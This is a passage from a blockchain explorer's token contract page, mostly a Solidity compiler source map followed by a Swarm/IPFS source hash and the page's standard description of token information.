:::-;19640:25;;19679:20;19697:1;19679:20;:::i;:::-;19674:25;;19734:1;19731;19727:9;19756:30;19774:11;19756:30;:::i;:::-;19745:41;;19935:1;19926:7;19922:15;19919:1;19916:22;19896:1;19889:9;19869:83;19846:139;;19965:18;;:::i;:::-;19846:139;19630:362;19582:410;;;;:::o;19998:180::-;20046:77;20043:1;20036:88;20143:4;20140:1;20133:15;20167:4;20164:1;20157:15;20184:185;20224:1;20241:20;20259:1;20241:20;:::i;:::-;20236:25;;20275:20;20293:1;20275:20;:::i;:::-;20270:25;;20314:1;20304:35;;20319:18;;:::i;:::-;20304:35;20361:1;20358;20354:9;20349:14;;20184:185;;;;:::o;20375:220::-;20515:34;20511:1;20503:6;20499:14;20492:58;20584:3;20579:2;20571:6;20567:15;20560:28;20375:220;:::o;20601:366::-;20743:3;20764:67;20828:2;20823:3;20764:67;:::i;:::-;20757:74;;20840:93;20929:3;20840:93;:::i;:::-;20958:2;20953:3;20949:12;20942:19;;20601:366;;;:::o;20973:419::-;21139:4;21177:2;21166:9;21162:18;21154:26;;21226:9;21220:4;21216:20;21212:1;21201:9;21197:17;21190:47;21254:131;21380:4;21254:131;:::i;:::-;21246:139;;20973:419;;;:::o
Swarm Source
ipfs://e731ec027cd2717fbeee50994eea6eeec3c74dc91aae56862b87423fe7527365
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.